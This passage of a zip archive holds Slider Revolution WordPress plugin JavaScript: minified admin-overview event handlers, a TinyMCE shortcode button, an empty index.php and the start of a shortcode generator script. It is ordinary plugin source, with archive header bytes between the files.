0===sliderLibrary.slides[sliderLibrary.selectedSlider]?(sliderLibrary.slides[sliderLibrary.selectedSlider]={},RVS.F.ajaxRequest("get_slides_by_slider_id",{id:e},function(e){if(e.success){for(var i in e.slides)e.slides.hasOwnProperty(i)&&(sliderLibrary.slides[sliderLibrary.selectedSlider][e.slides[i].id]=jQuery.extend(!0,{},e.slides[i]));t(),drawOVOverview()}})):(t(),drawOVOverview())},RVS.DOC.on("click",".link_to_slides_overview",function(){RVS.F.buildSlidesOverview(this.dataset.id)}),RVS.DOC.on("reloadpagenow",function(){tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.reLoading}),window.location.reload()}),RVS.DOC.on("click",".link_to_slideadmin_a",function(){"A"==this.tagName&&void 0!==this.href&&(tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.editorisLoading+"<span style='display:block;font-size:20px;line-height:25px'>"+RVS_LANG.opening+" "+this.dataset.title+"</span>"}))}),RVS.DOC.on("click",".link_to_quickeditor",function(){var e=jQuery(this).closest(".rs_library_element");RVS.F.openQuickContent({sliderid:e[0].dataset.sliderid})}),RVS.DOC.on("mouseenter",".link_to_slideadmin, .link_to_slides_overview",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rs_library_el_next");e.find(".title_container")[0]!==document.activeElement&&(i.show(),i.html(this.dataset.info))}),RVS.DOC.on("mousemove",".link_to_quickeditor, .link_to_quickstyleeditor, .link_to_slideadmin_a",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rs_library_el_next");e.find(".title_container")[0]!==document.activeElement&&(i.show(),i.html(this.dataset.info))}),RVS.DOC.on("mouseleave",".link_to_slideadmin, .link_to_slides_overview",function(){var e=jQuery(this);e.closest(".rs_library_element").find(".rs_library_el_next").hide(),clearTimeout(e.data("tlcount")),void 0!==e.data("tl")&&e.data("tlcount",setTimeout(function(){e.data("tl").reverse()},200))}),RVS.DOC.on("click","#back_one_folder",function(){if(sliderLibrary.inSlideMode)sliderLibrary.inSlideMode=!1,sliderLibrary.output.find(".overview_elements").find(".rs_library_element").detach();else{var e=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);sliderLibrary.selectedFolder=sliderLibrary.sliders[e].parent||-1}resetAllOVFilters(),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1})}),RVS.DOC.on("click",".rsl_breadcrumb",function(){sliderLibrary.inSlideMode&&(sliderLibrary.inSlideMode=!1,sliderLibrary.output.find(".overview_elements").find(".rs_library_element").detach()),sliderLibrary.selectedFolder=parseInt(this.dataset.folderid,0),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1})}),RVS.DOC.on("click","#slider_folders_wrap_underlay",function(){window.showFolderOverview.reverse()}),RVS.DOC.on("click","#add_folder",function(e,i){RVS.F.createNewFolder(i)}),RVS.DOC.on("click","#rs_db_force_create",function(e,i){RVS.F.ajaxRequest("fix_database_issues",{},function(e){},!1)}),RVS.DOC.on("click","#rs_force_clear_cache",function(e,i){RVS.F.ajaxRequest("clear_internal_cache",{},function(e){},!1)}),RVS.DOC.on("click","#rs_trigger_font_deletion",function(e,i){RVS.F.ajaxRequest("trigger_font_deletion",{},function(e){},!1)}),RVS.DOC.on("click","#reset_sorting",function(){jQuery("#sel_overview_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"datedesc",eventparam:"#reset_sorting",ignoreCookie:!0})}),RVS.DOC.on("click","#reset_filtering",function(){jQuery("#sel_overview_filtering").val("all").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"all",eventparam:"#reset_filtering",ignoreCookie:!0})}),RVS.DOC.on("updateSlidersOverview",function(e,i){if(void 0!==i&&void 0!==i.eventparam){var r="#reset_sorting"===i.eventparam?"datedesc"===i.val?0:1:"all"===i.val?0:1,t=1===r?"inline-block":"none";tpGS.gsap.set(i.eventparam,{autoAlpha:r,display:t})}void 0===i||i.ignoreRebuild||(void 0!==i.val&&!0!==i.ignoreCookie&&RVS.F.setCookie("rs6_overview_pagination",i.val,360),a({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1}))}),RVS.DOC.on("click",".global_library_pagination",function(){a({keepOverlay:!1}),jQuery(".global_library_pagination.selected").removeClass("selected"),jQuery(this).addClass("selected"),sliderLibrary.selectedPage=-9999===parseInt(this.dataset.page,0)?sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0)-3:9999===parseInt(this.dataset.page,0)?sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0)+3:this.dataset.page,smartPagination(),drawOVOverview()}),RVS.DOC.on("keyup","#searchmodules",function(){a({keepOverlay:!1}),clearTimeout(window.searchKeyUp),window.searchKeyUp=setTimeout(function(){updateOVFilteredList()},200)}),RVS.DOC.on("ddTP:select ddTP:unselect",".elementtags",function(e){var i=RVS.F.getOVSliderIndex(e.target.dataset.id);for(var r in sliderLibrary.sliders[i].tags=[],e.target.options)e.target.options.hasOwnProperty(r)&&void 0!==e.target.options[r]&&e.target.options[r].selected&&sliderLibrary.sliders[i].tags.push(RVS.F.sanitize_input(e.target.options[r].value.toLowerCase()));RVS.F.ajaxRequest("update_slider_tags",{id:sliderLibrary.sliders[i].id,tags:sliderLibrary.sliders[i].tags},function(e){},!1),sliderLibrary.filters=buildModuleFilters(),jQuery(".elementtags").each(function(){var e=jQuery(this);this.dataset.id;for(var i in e.find("option").remove(),sliderLibrary.filters.tags)if(sliderLibrary.filters.tags.hasOwnProperty(i)){var r=RVS.F.sanitize_input(sliderLibrary.filters.tags[i].toLowerCase()),t=RVS.F.getOVSliderIndex(this.dataset.id),s=jQuery.inArray(r,sliderLibrary.sliders[t].tags)>=0?' selected="selected" ':"";e.append('<option value="'+r+'" '+s+">"+r+"</option>")}e.ddTP("update")})}),RVS.DOC.on("keyup",".title_container",function(e){13===e.keyCode&&(jQuery(document.activeElement).blur(),a({keepOverlay:!1}))}),RVS.DOC.on("click",".show_rsle, .rsle_folder",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rsle_tbar"),r=e.hasClass("selected"),t=e.attr("id"),s=e[0].dataset.sliderid,d=(""+e[0].dataset.slideid).replace("slide_id_","");r?(a({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)):(a({keepOverlay:!0,id:t}),clearTimeout(window.unsetFocusOverviewOverlay),e.addClass("selected").addClass("menuopen"),tpGS.gsap.fromTo(i,.3,{y:"-100%"},{opacity:1,y:"0%",ease:"power3.out"}),jQuery(".overview_elements").addClass("infocus"),window.lastBreacCrumbText=sliderLibrary.inSlideMode?sliderLibrary.slides[s][d].title:sliderLibrary.sliders[RVS.F.getOVSliderIndex(s)].title,jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText))}),RVS.DOC.on("mouseenter",".rs_library_element",function(){sliderLibrary.inSlideMode?jQuery("#rsl_bread_selected").html(sliderLibrary.slides[this.dataset.sliderid][(""+this.dataset.slideid).replace("slide_id_","")].title):-1!=this.dataset.sliderid&&jQuery("#rsl_bread_selected").html(sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.sliderid)].title)}),RVS.DOC.on("mouseleave",".rs_library_element",function(){window.lastBreacCrumbText=void 0===window.lastBreacCrumbText?"":window.lastBreacCrumbText,jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click",".overview_elements_overlay",function(){a({keepOverlay:!1})}),RVS.DOC.on("click",".tagsslider",function(){var e=jQuery(this).closest(".rs_library_element");e.toggleClass("in_tag_view"),e.removeClass("in_folder_view")}),RVS.DOC.on("click",".renameslider",function(){jQuery(this).closest(".rs_library_element").find(".title_container").trigger("focus")}),RVS.DOC.on("click",".unpublishslide",function(){var e=jQuery(this).closest(".rs_library_element"),i=this.dataset.id,r=this.dataset.slideid;sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("save_slide_advanced",{slide_id:r,params:{publish:{state:"unpublished"}},slider_id:i},function(i){i.success&&e.addClass("unpublished")})}),RVS.DOC.on("click",".duplicateslide",function(){jQuery(this).closest(".rs_library_element");var e=this.dataset.id,i=this.dataset.slideid;sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("duplicate_slide",{slide_id:i,slider_id:e},function(i){i.success&&(RVS.F.clearSlidesOverview(e),RVS.F.buildSlidesOverview(e))})}),RVS.DOC.on("click",".publishslide",function(){var e=jQuery(this).closest(".rs_library_element");sliderId=this.dataset.id,slideId=this.dataset.slideid,sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("save_slide_advanced",{slide_id:slideId,params:{publish:{state:"published"}},slider_id:sliderId},function(i){i.success&&e.removeClass("unpublished")})}),RVS.DOC.on("click",".adminthumb",function(){jQuery(this).closest(".rs_library_element");var e=RVS.F.getOVSliderIndex(this.dataset.id),i=this.dataset.id,r=this.dataset.slideid;RVS.F.openAddImageDialog(RVS_LANG.choose_image,function(t,s){RVS.F.ajaxRequest("save_slide_advanced",{slide_id:r,params:{thumb:{customAdminThumbSrc:t,customAdminThumbSrcId:s}},slider_id:i},function(s){a({keepOverlay:!1}),s.success&&(sliderLibrary.sliders[e].bg.type="image",sliderLibrary.sliders[e].bg.src=t,RVS.F.setObjBg(sliderLibrary.sliders[e],sliderLibrary.sliders[e].ref.find(".image_container")),void 0!==sliderLibrary.slides&&void 0!==sliderLibrary.slides[i]&&void 0!==sliderLibrary.slides[i][r]&&(sliderLibrary.slides[i][r].bg={type:"image",src:t},RVS.F.setObjBg(sliderLibrary.slides[i][r],sliderLibrary.slides[i][r].ref.find(".image_container"))))})},!1)}),RVS.DOC.on("change",".title_container",function(){var e=this,i=RVS.F.getOVSliderIndex(this.dataset.id),r=this.dataset.id,t=this.dataset.slideid,s=this.value;sliderLibrary.inSlideMode?RVS.F.ajaxRequest("save_slide_advanced",{slide_id:t,params:{title:this.value},slider_id:r},function(i){i.success&&(e.value=s),sliderLibrary.slides[r][t].title=s}):RVS.F.ajaxRequest("update_slider_name",{id:this.dataset.id,title:this.value},function(r){r.success&&(e.value=r.title),sliderLibrary.sliders[i].title=r.title})}),RVS.DOC.on("click",".optimizeslider",function(){RVS.F.openOptimizer({sliderid:this.dataset.id})}),RVS.DOC.on("click",".deleteslider",function(){if(sliderLibrary.inSlideMode){window.deleteSlide=this.dataset.slideid,window.deleteSlide_sliderId=this.dataset.id,a({keepOverlay:!1});var e=0;for(var i in sliderLibrary.slides[sliderLibrary.selectedSlider])sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(i)&&e++;e<2?RVS.F.showInfo({content:RVS_LANG.lastslidenodelete,type:"error",showdelay:0,hidedelay:2,hideon:"",event:""}):RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslide,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodelete+"<strong>"+sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide].title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdeleteslide,event:"deletemarkedslide"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}else{var r=RVS.F.getOVSliderIndex(this.dataset.id);a({keepOverlay:!1}),window.deleteSlidersIndex=0,sliderLibrary.sliders[r].folder?(window.deleteSliders=function e(i,r){i=void 0===i?[]:i;var t=sliderLibrary.sliders[r];for(var s in t.children)if(t.children.hasOwnProperty(s)){var d=RVS.F.getOVSliderIndex(t.children[s]);sliderLibrary.sliders[d]&&sliderLibrary.sliders[d].folder&&(i=e(i,d)),sliderLibrary.sliders[d]&&i.push(t.children[s])}return i}([],r),window.deleteSliders.push(this.dataset.id),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslider,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodeleteeverything+" <strong>"+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdeleteall,event:"deletemarkedslider"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})):(window.deleteSliders=[this.dataset.id],RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslider,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodelete+" <strong>"+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdelete,event:"deletemarkedslider"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}))}}),RVS.DOC.on("deletemarkedslide",function(){RVS.F.ajaxRequest("delete_slide",{slide_id:window.deleteSlide,slider_id:window.deleteSlide_sliderId},function(e){e.success&&void 0!==sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide]&&(RVS.F.clearSlidesOverview(window.deleteSlide_sliderId),RVS.F.buildSlidesOverview(window.deleteSlide_sliderId))},void 0,void 0,RVS_LANG.deletingsingleslide+"<span style='display:block;font-size:20px;line-height:25px'>"+sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide].title+"</span>")}),RVS.DOC.on("deletemarkedslider",function(){window.deletedSliderSINDEX=RVS.F.getOVSliderIndex(window.deleteSliders[window.deleteSlidersIndex]),window.mayDeleteFolder=sliderLibrary.sliders[window.deletedSliderSINDEX],RVS.F.ajaxRequest("delete_slider",{id:window.deleteSliders[window.deleteSlidersIndex]},function(e){if(e.success){if(void 0!==window.mayDeleteFolder&&-1!=window.mayDeleteFolder.parent){var i=RVS.F.getOVSliderIndex(window.mayDeleteFolder.parent);sliderLibrary.sliders[i]?sliderLibrary.sliders[i].children.splice(jQuery.inArray(window.mayDeleteFolder.id,sliderLibrary.sliders[i].children),1):console.log("Info:Folder with Index "+i+"  is not existing any more.")}sliderLibrary.sliders[window.deletedSliderSINDEX]&&sliderLibrary.sliders[window.deletedSliderSINDEX].ref&&sliderLibrary.sliders[window.deletedSliderSINDEX].ref.remove(),jQuery("#slide_id_"+window.deleteSliders[window.deleteSlidersIndex]).remove(),sliderLibrary.sliders.splice(window.deletedSliderSINDEX,1)}window.deleteSlidersIndex++,window.deleteSlidersIndex<window.deleteSliders.length?RVS.DOC.trigger("deletemarkedslider"):(sliderLibrary.filters=buildModuleFilters(),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1}))},void 0,void 0,RVS_LANG.deletingslider+"<span style='display:block;font-size:20px;line-height:25px'>"+(sliderLibrary.sliders[window.deletedSliderSINDEX]?sliderLibrary.sliders[window.deletedSliderSINDEX].alias:window.deletedSliderSINDEX)+"</span>")}),RVS.DOC.on("click",".exportslider, .exporthtmlslider",function(){var e=this.className.indexOf("exportslider")>=0?"export_slider":"export_slider_html";window.exportSliders=[this.dataset.id],window.exportSlidersIndex=0,RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"cloud_download",title:RVS_LANG.exportslider+("export_slider_html"===e?" "+RVS_LANG.ashtmlexport:""),maintext:RVS_LANG.exportslidertxt,subtext:RVS_LANG.areyousuretoexport+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].alias,do:{icon:"cloud_download",text:RVS_LANG.yesexport,event:"exportmarkedslider",eventparam:e},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}),RVS.DOC.on("exportmarkedslider",function(e,i){a({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText),location.href=ajaxurl+(-1===ajaxurl.indexOf("?")?"?":"&")+"action="+RVS.ENV.plugin_dir+"_ajax_action&client_action="+i+"&nonce="+RVS.ENV.nonce+"&id="+window.exportSliders[window.exportSlidersIndex]}),RVS.DOC.on("click","#collapse-button",d),RVS.DOC.on("click","#rbm_globalsettings .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".rso_scrollmenuitem",function(){if("globalsettings"!==this.id){if("rso_menu_notices"!==this.id&&"rso_menu_updatewarning"!==this.id){if("contactsupport"===this.id)return"true"!==RVS.ENV.activated&&!0!==RVS.ENV.activated?void RVS.F.showRegisterSliderInfo():void window.open("https://support.sliderrevolution.com/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=support","_blank");if("linktodocumentation"!==this.id)if("buynow_notregistered"!==this.id){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[this.dataset.ostref].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()}else window.open("https://account.sliderrevolution.com/portal/pricing/","_blank");else window.open("https://www.sliderrevolution.com/help-center/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=faq","_blank")}}else openGlobalSettings()}),RVS.WIN.resize(d).on("scroll",s),RVS.DOC.on("click",".enter_into_folder",function(){sliderLibrary.selectedFolder=this.dataset.folderid,resetAllOVFilters(),updateOVFilteredList()}),RVS.DOC.on("click","#new_blank_slider",function(){tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.editorisLoading+"<span style='display:block;font-size:20px;line-height:25px'>"+RVS_LANG.addingnewblankmodule+"</span>"}),RVS.F.ajaxRequest("create_slider",{},function(e){if(e.success){var i=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);if(-1!==i){sliderLibrary.sliders[i].children.push(e.slider_id);var r=e.slide_id;RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.selectedFolder,children:sliderLibrary.sliders[i].children},function(e){window.location.href=RVS.ENV.admin_url+"&view=slide&id="+r})}else window.location.href=RVS.ENV.admin_url+"&view=slide&id="+e.slide_id}})}),RVS.DOC.on("highContrast",function(e,i){void 0!==i&&void 0!==i.val&&(!0===i.val?jQuery(document.body).addClass("rs-high-contrast"):jQuery(document.body).removeClass("rs-high-contrast"))}),RVS.DOC.on("addNewSlider",function(e,i){if(void 0!==i&&void 0!==i.slider){if(i.slider.parent=sliderLibrary.selectedFolder,sliderLibrary.sliders.push(i.slider),-1!==sliderLibrary.selectedFolder){var r=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);-1!==r&&(sliderLibrary.sliders[r].children.push(i.slider.id),i.ignoreAjaxFolderMove||RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.selectedFolder,children:sliderLibrary.sliders[r].children},function(e){},i.silent))}sliderLibrary.filters=buildModuleFilters(),resetAllOVFilters(),jQuery("#pagination_select_2").ddTP("change")}}),RVS.DOC.on("addDraftPage",function(e,i){RVS.F.ajaxRequest("create_draft_page",{slider_ids:i.pages,modals:i.modals,additions:i.additions},function(e){e.success&&(window.visitURLCreatedPage=e.open,setTimeout(function(){RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"fiber_new",title:RVS_LANG.blank_page_added,maintext:RVS_LANG.blank_page_created,subtext:void 0!==e.edit&&e.edit.length>0?RVS_LANG.edit_page+': <a class="blankpagelink" href="'+e.edit+'" target="_blank" rel="noopener">'+e.edit+"</a>":"",do:{icon:"exit_to_app",text:RVS_LANG.visit_page,event:"visitcreatedpage"},cancel:{icon:"cancel",text:RVS_LANG.closeandstay},swapbuttons:!0})},200))})}),RVS.DOC.on("visitcreatedpage",function(){window.open(window.visitURLCreatedPage,"_blank")}),RVS.DOC.on("click","#new_slider_import",function(){jQuery("#filedrop").remove(),RVS.F.browserDroppable.init({success:"addNewSlider"})}),RVS.DOC.on("click",".duplicateslider",function(){var e=RVS.F.getOVSliderIndex(this.dataset.id),i=-1==e?-1:sliderLibrary.sliders[e].parent,r=RVS.F.getOVSliderIndex(i);RVS.F.ajaxRequest("duplicate_slider",{id:this.dataset.id},function(e){e.success&&(e.slider.parent=i,sliderLibrary.sliders.push(e.slider),-1!==r&&(sliderLibrary.sliders[r].children.push(e.slider.id),RVS.F.ajaxRequest("save_slider_folder",{id:i,children:sliderLibrary.sliders[r].children},function(e){})),sliderLibrary.filters=buildModuleFilters(),resetAllOVFilters())})}),RVS.DOC.on("dragstart dragend",function(e){"dragstart"===e.type&&(RVS.S.dragginginside=!0),"dragend"===e.type&&(RVS.S.dragginginside=!1)}),jQuery("#rs_overview").on(" dragover dragenter ",function(e){RVS.S.dragginginside||0!==jQuery("#filedrop").length||RVS.F.browserDroppable.init({success:"addNewSlider"})}),RVS.DOC.on("click","#activateplugin",function(){if("true"==RVS.ENV.activated||1==RVS.ENV.activated)RVS.F.ajaxRequest("deactivate_plugin",{},function(e){e.success&&(RVS.ENV.activated=!1,RVS.ENV.code="",RVS.F.updateDraw(),RVS.F.isActivated(),RVS.F.notifications(),r("close"),RVS.F.showDeactivatedWarning(),RVS.F.activeNotActive())});else{var e=jQuery("#purchasekey").val();RVS.F.ajaxRequest("activate_plugin",{code:e},function(i){i.success&&(RVS.ENV.activated=!0,RVS.ENV.code=e,RVS.F.updateDraw(),RVS.F.isActivated(),RVS.F.notifications(),r("show"),RVS.F.activeNotActive())})}}),RVS.F.activeNotActive=function(){RVS.C.existing_sliders=void 0===RVS.C.existing_sliders?document.getElementById("existing_sliders"):RVS.C.existing_sliders,RVS.ENV.activated?RVS.C.existing_sliders.classList.remove("rs_n_ac_n"):RVS.C.existing_sliders.classList.add("rs_n_ac_n")},RVS.DOC.on("click","#check_for_updates",function(){RVS.F.ajaxRequest("check_for_updates",{},function(e){e.success&&(RVS.ENV.latest_version=e.version,jQuery(".available_latest_version").html(RVS.ENV.latest_version),RVS.F.updateDraw(),RVS.F.isActivated())})}),RVS.DOC.on("click",".previewslider",function(){var e=sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)];RVS.F.openPreivew({title:this.dataset.title,alias:e.alias,id:this.dataset.id}),a({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click","#signuptonewsletter",function(){var e=jQuery("#newsletter_mail").val();e.length>0&&e.indexOf("@")>=0&&RVS.F.ajaxRequest("subscribe_to_newsletter",{email:e},function(e){})}),RVS.DOC.on("click","#check_for_themepunchserver",function(){RVS.F.ajaxRequest("check_system",{},function(e){e.success&&(window.rs_system=jQuery.extend(!0,{},e.system),updateSysChecks())})}),RVS.DOC.on("click",".embedslider",function(){var e=sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)],i='<i class="material-icons fullpage_main_icon">playlist_add</i>';i+='<div class="fullpage_title">'+RVS_LANG.embedingLine1+"</div>",i+='<div class="fullpage_content">'+RVS_LANG.embedingLine2+"</div>",i+='<div class="inputrow">',i+="<input class='inputtocopy' id='embed_shortcode_a' readonly value='[rev_slider alias=\""+e.alias+"\"][/rev_slider]'/>",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_a"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div20"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine2a+"</div>",i+='<div class="inputrow">',i+="<input class='inputtocopy' id='embed_shortcode_modal' readonly value='[rev_slider usage=\"modal\"  alias=\""+e.alias+"\"][/rev_slider]'/>",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_modal"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div20"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine3+"</div>",i+='<div class="div40"></div>',i+='<div class="fullpage_title">'+RVS_LANG.embedingLine4+"</div>",i+='<div class="fullpage_content">'+RVS_LANG.embedingLine5+"</div>",i+='<div class="inputrow">',i+='<input class="inputtocopy" readonly id="embed_shortcode_b" value="<?php add_revslider(\''+e.alias+"'); ?>\">",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_b"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div15"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine6+"</div>",i+='<div class="inputrow">',i+='<input class="inputtocopy" readonly id="embed_shortcode_c" value="<?php add_revslider(\''+e.alias+"','homepage'); ?>\">",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_c"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div15"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine7+"</div>",i+='<div class="inputrow">',i+='<input class="inputtocopy" readonly id="embed_shortcode_d" value="<?php add_revslider(\''+e.alias+"','2,10'); ?>\">",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_d"><i class="material-icons">content_copy</i></div>',i+="</div>",RVS.F.fullPageInfo.init({content:i}),RVS.F.initCopyClipboard(".copyshortcode"),a({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click","#new_slider_from_template",function(){RVS.ENV.newTemplatesCounter.style.display="none",RVS.F.openObjectLibrary({types:["moduletemplates"],filter:"all",selected:["moduletemplates"],success:{slider:"addNewSlider",draftpage:"addDraftPage"}})})}}();PK�y3\�&h��(assets/js/shortcode_generator/tinymce.jsnu�[���(function() {
	
	if(typeof tinymce !== 'undefined') {
		
		tinymce.PluginManager.add('revslider_sc_button', function(editor, url) {
			
			editor.addButton('revslider_sc_button', {
				
				title: 'Slider Revolution Shortcode Creator',
				icon: 'icon dashicons-before dashicons-update',
				onclick: function() {
					
					// OPEN THE OBJECT LIBRARY
					RS_SC_WIZARD.openTemplateLibrary('tinymce');
					
				}
			});
			
		});
		
	}
	
})();PK�y3\�ƹ�'assets/js/shortcode_generator/index.phpnu�[���<?php // Silence is golden
PK�y3\AM�A�v�v4assets/js/shortcode_generator/shortcode_generator.jsnu�[���/*!
 * REVOLUTION 6.1.6 
 * @version: 1.0 (29.11.2019)
 * @author ThemePunch
*/

/**********************************
	-	GLOBAL VARIABLES	-
**********************************/
;window.RVS = window.RVS === undefined ? {} : window.RVS;
RVS.F = RVS.F === undefined ? {} : RVS.F;
RVS.ENV = RVS.ENV === undefined ? {} : RVS.ENV;
RVS.LIB = RVS.LIB === undefined ? {} : RVS.LIB;
RVS.V = RVS.V === undefined ? {} : RVS.V;
RVS.S = RVS.S === undefined ? {} : RVS.S;
RVS.C = RVS.C === undefined ? {} : RVS.C;
RVS.WIN = RVS.WIN === undefined ? jQuery(window) : RVS.WIN;

RVS.DOC = RVS.DOC === undefined ? jQuery(document) : RVS.DOC;
RVS.OZ = RVS.OZ === undefined ? {} : RVS.OZ;
RVS.SC = RVS.SC === undefined ? {} : RVS.SC;

(function() {
	RVS.V.sizes = RVS.V.sizes==undefined ? ["d","n","t","m"] : RVS.V.sizes;
	RVS.V.dirs = RVS.V.dirs==undefined ? ["top","bottom","left","right"] : RVS.V.dirs;
	RVS.V.dirN = RVS.V.dirN==undefined ? {t:"top",b:"bottom",l:"left",r:"right"} : RVS.V.dirN;
	/*
	DEFINE SHORTCODE FUNCTIONS
	*/
	RVS.SC = RS_SC_WIZARD = {	

		/*
		INITIALISE SHORTCODE MANAGER
		*/
		init : function() {						
			if(typeof QTags !== 'undefined') {			
				var add_rs_button = true;
				if(typeof edButtons !== 'undefined') 
					for(var key in edButtons) {
						if(!edButtons.hasOwnProperty(key) || add_rs_button===false) continue;
						if(edButtons[key].id == 'slider-revolution') add_rs_button = false;							
					}
				
				if(add_rs_button) QTags.addButton('slider-revolution', 'Slider Revolution', function() {RVS.SC.openTemplateLibrary('qtags');});								
			}
			
			if(typeof RVS.LIB.OBJ !== 'undefined' && RVS.LIB.OBJ && RVS.LIB.OBJ.items && RVS.LIB.OBJ.items.length) RVS.SC.defaultAlias = RVS.LIB.OBJ.items[0].alias;						

			// INIT HOOKS AND GET EDITOR TYPE
			elementorHooks();
			vcHooks();
			shortCodeListener();			
		},

		/*
		PARSE SHORTCODE
		*/
		parseShortCode : function(e){
			if (e===undefined) return;
			var t,T,E,a=/(\s+|\W)|(\w+)/g,s="",n="NOT STARTED",r={name:"",attributes:{},content:""},i=(e.match(/\]/g)||[]).length;if(2<i)throw'invalid shortCode: match more then 2 tokens "]". Use only shortcode with this function. Example "[name]teste[/name]" or "[name prop=value]"';for(i=1!==i;null!=(t=a.exec(e))&&(T=t[0],"COMPLETE"!==n);)switch(n){case"NOT STARTED":"["==T&&(n="GETNAME");break;case"GETNAME":/\s/.test(T)?r.name&&(n="PARSING"):/\]/.test(T)?n="GETCONTENT":r.name+=T;break;case"GETCONTENT":/\[/.test(T)?r.name&&(n="COMPLETE"):r.content+=T;break;case"PARSING":if("]"==T)n=1===i?"COMPLETE":"GETCONTENT";else if("="==T){if(!s)throw'invalid token: "'+T+'" encountered at '+t.index;n="GET ATTRIBUTE VALUE"}else/\s/.test(T)?s&&(n="SET ATTRIBUTE"):s+=T;break;case"SET ATTRIBUTE":if(/\s/.test(T))r.attributes[s]=null;else{if("="!=T)throw'invalid token: "'+T+'" encountered at '+t.index;n="GET ATTRIBUTE VALUE"}break;case"GET ATTRIBUTE VALUE":/\s/.test(T)||(n=/["']/.test(T)?(E=T,r.attributes[s]="","GET QUOTED ATTRIBUTE VALUE"):(r.attributes[s]=T,s="","PARSING"));break;case"GET QUOTED ATTRIBUTE VALUE":/\\/.test(T)?n="ESCAPE 